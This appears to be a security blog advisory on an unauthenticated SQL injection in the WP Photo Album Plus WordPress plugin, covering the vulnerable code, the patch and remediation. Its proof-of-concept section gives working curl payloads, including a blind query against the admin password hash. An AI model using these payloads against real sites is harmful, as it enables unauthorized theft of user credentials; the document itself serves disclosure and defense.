CVE-2026-6379: WP Photo Album Plus Unauthenticated SQL Injection (CVSS 7.5)
Table of Contents
CVE-2026-6379 is a CVSS 7.5 (High) Severity Unauthenticated SQL Injection vulnerability in the WP Photo Album Plus WordPress plugin. Any unauthenticated visitor can send a crafted HTTP request to extract sensitive data — including password hashes and email addresses — from the WordPress database.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | WP Photo Album Plus |
| Plugin Slug | wp-photo-album-plus |
| CVE ID | CVE-2026-6379 |
| CVSS Score | 7.5 (High) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| Vulnerability Type | Unauthenticated SQL Injection |
| Affected Versions | <= 9.1.10.011 |
| Patched Version | 9.1.11.001 |
| Published | June 11, 2026 |
| Researcher | Daniel Púa - devploit |
| Wordfence Advisory | Link |
Description
The WP Photo Album Plus plugin for WordPress is vulnerable to SQL Injection in versions up to and including 9.1.10.011. The plugin does not properly escape the user-supplied wppa-supersearch parameter before placing it in SQL queries. There is also no $wpdb->prepare() call to protect those queries.
Because of this, unauthenticated attackers can append extra SQL statements to an existing database query. This lets them read sensitive information from the database — for example, WordPress user account data.
Technical Analysis
Entry Point — The wppa-supersearch Parameter
The plugin accepts a wppa-supersearch GET or POST parameter on any page that contains a WPPA shortcode (such as [wppa type="supersearch"] or any photo/album display shortcode). No authentication or nonce is required to send this parameter.
The parameter arrives in wppa-conversions.php and is stored globally:
// wppa-conversions.php, line 459
$wppa['supersearch'] = wp_strip_all_tags( wppa_get( 'supersearch' ) );
$wppa_session['supersearch'] = $wppa['supersearch'];
The wppa_get() function reads $_REQUEST['wppa-supersearch'] and applies only sanitize_text_field() followed by wp_unslash(). Neither function removes SQL-significant characters such as single quotes ('). The subsequent wp_strip_all_tags() call strips HTML but also leaves SQL characters intact.
Vulnerable Code — wppa_get_photos() in wppa-functions.php
When the page renders, every WPPA shortcode calls wppa_get_photos(). Inside this function, the supersearch value is parsed into search criteria:
// wppa-functions.php, lines 1213–1254 (vulnerable version 9.1.10.011)
if ( wppa( 'supersearch' ) ) {
$ss_data = explode( ',', wppa( 'supersearch' ) );
// Reconstruct data[3], preserving embedded commas
$data = $ss_data;
unset( $data[0] );
unset( $data[1] );
unset( $data[2] );
$data = implode( ',', $data );
$ss_data[3] = $data;
switch ( $ss_data[1] ) {
// Owner search — VULNERABLE
case 'o':
wppa( 'is_upldr', $data );
$query = "SELECT id FROM $wpdb->wppa_photos WHERE owner = '" . $data . "' AND album > 0 ORDER BY $order";
$total_ids = wppa_combine_virtual( $query, 17 );
break;
// Tag search — VULNERABLE
case 'g':
$data_arr = explode( '.', $data );
foreach( $data_arr as $d ) {
$d = wppa_sanitize_tags( $d );
$query = "SELECT id FROM $wpdb->wppa_photos WHERE tags LIKE '%".$d."%' AND album > 0 ORDER BY $order";
$total_ids = wppa_combine_virtual( $query, 18 );
}
break;
}
}
The wppa-supersearch parameter format is <type>,<criterion>,<qualifier>,<data>. For the owner search, the value p,o,0,<payload> routes to case 'o'. The $data variable — which comes directly from the URL — is concatenated into the SQL string with no preparation.
Why the Sanitization Is Insufficient
sanitize_text_field() removes HTML tags and null bytes but explicitly preserves single quotes. wp_strip_all_tags() has the same limitation. Neither is a substitute for $wpdb->prepare().
The wppa_sanitize_tags() function used in the tag search (case 'g') also does not remove single quotes. The source code even shows this as a deliberate choice — the removal is commented out:
// wppa-utils.php, line 1436 — single-quote removal is commented out
$value = str_replace( array(
'"',
// '\'', ← NOT removed — single quotes pass through
'\\',
'@',
'?',
'|',
), '', $value );
As a result, both the owner case and the tag case allow SQL injection.
Resulting SQL
For the owner case, a payload of ' AND SLEEP(5)-- - produces:
SELECT id FROM wp_wppa_photos
WHERE owner = '' AND SLEEP(5)-- -' AND album > 0 ORDER BY id
The comment (--) terminates the rest of the query. The SLEEP(5) function executes and delays the server response by 5 seconds, confirming the injection.
Proof of Concept
Disclaimer: This PoC is for educational and authorized security testing only. Do not test against systems you do not own or have explicit written permission to test.
Prerequisites:
- WP Photo Album Plus <= 9.1.10.011 is installed and activated
- At least one page exists with any WPPA shortcode (e.g.,
[wppa type="supersearch"]) - No authentication required
Step 1 — Find a Page with a WPPA Shortcode
Browse the site to find a page that renders WPPA content. Common URLs: /gallery/, /photos/, /albums/.
Step 2 — Confirm Time-Based SQL Injection
Send a request with a 5-second SLEEP() payload. The prefix p,o,0 selects the photo owner search path.
# Replace https://target.com/gallery/ with the actual WPPA page URL
curl -s -o /dev/null -w "Total time: %{time_total}s\n" \
"https://target.com/gallery/?wppa-supersearch=p%2Co%2C0%2C%27%20AND%20SLEEP%285%29--%20-"
URL-decoded payload: p,o,0,' AND SLEEP(5)-- -
Expected result: Response time exceeds 5 seconds.
Total time: 5.213s
Step 3 — Extract Data (Boolean-Based Blind)
Check whether the first character of the admin password hash is $ (typical for WordPress phpass and bcrypt hashes):
curl -s -o /dev/null -w "Time: %{time_total}s\n" \
"https://target.com/gallery/?wppa-supersearch=p%2Co%2C0%2C%27%20AND%20(SELECT%20IF(SUBSTRING(user_pass%2C1%2C1)%3D%27%24%27%2CSLEEP(5)%2C0)%20FROM%20wp_users%20WHERE%20ID%3D1)--%20-"
URL-decoded: p,o,0,' AND (SELECT IF(SUBSTRING(user_pass,1,1)='$',SLEEP(5),0) FROM wp_users WHERE ID=1)-- -
Expected result: Response takes over 5 seconds, confirming read access to wp_users.user_pass.
Step 4 — Alternative: Tag Search Path
The tag search case (g) is equally injectable. Use prefix p,g,0:
curl -s -o /dev/null -w "Time: %{time_total}s\n" \
"https://target.com/gallery/?wppa-supersearch=p%2Cg%2C0%2C%27%20AND%20SLEEP%285%29--%20-"
URL-decoded: p,g,0,' AND SLEEP(5)-- -
Patch Analysis
Version 9.1.11.001 replaces all raw SQL string concatenation in the supersearch code with $wpdb->prepare() and $wpdb->esc_like().
Owner search — before (vulnerable):
- $query = "SELECT id FROM $wpdb->wppa_photos WHERE owner = '" . $data . "' AND album > 0 ORDER BY $order";
Owner search — after (patched):
+ $query = $wpdb->prepare( "SELECT id FROM $wpdb->wppa_photos WHERE owner = %s AND album > 0", $data );
Tag search — before (vulnerable):
- $query = "SELECT id FROM $wpdb->wppa_photos WHERE tags LIKE '%".$d."%' AND album > 0 ORDER BY $order";
Tag search — after (patched):
+ $query = $wpdb->prepare(
+ "SELECT id FROM $wpdb->wppa_photos WHERE tags LIKE %s AND album > 0",
+ "%" . $wpdb->esc_like($d) . "%"
+ );
$wpdb->prepare() uses parameterized placeholders (%s, %d) and properly escapes all user input before it reaches the database engine. $wpdb->esc_like() also escapes LIKE wildcard characters (% and _) inside the search term, preventing wildcard injection.
The same pattern was applied to the photo name search and calendar queries in the same file.
Timeline
| Date | Event |
|---|---|
| June 11, 2026 | Vulnerability publicly disclosed by Wordfence |
| June 11, 2026 | Patched version 9.1.11.001 released |
| June 15, 2026 | Advisory last updated |
| June 17, 2026 | This blog post published |
Remediation
Update immediately. All sites running WP Photo Album Plus <= 9.1.10.011 are at risk.
- In the WordPress admin dashboard, go to Plugins → Installed Plugins
- Update WP Photo Album Plus to version 9.1.11.001 or newer
- Verify the update has been applied successfully
There is no configuration-level workaround. Disabling the plugin stops the attack but also removes all photo album functionality. Update as soon as possible.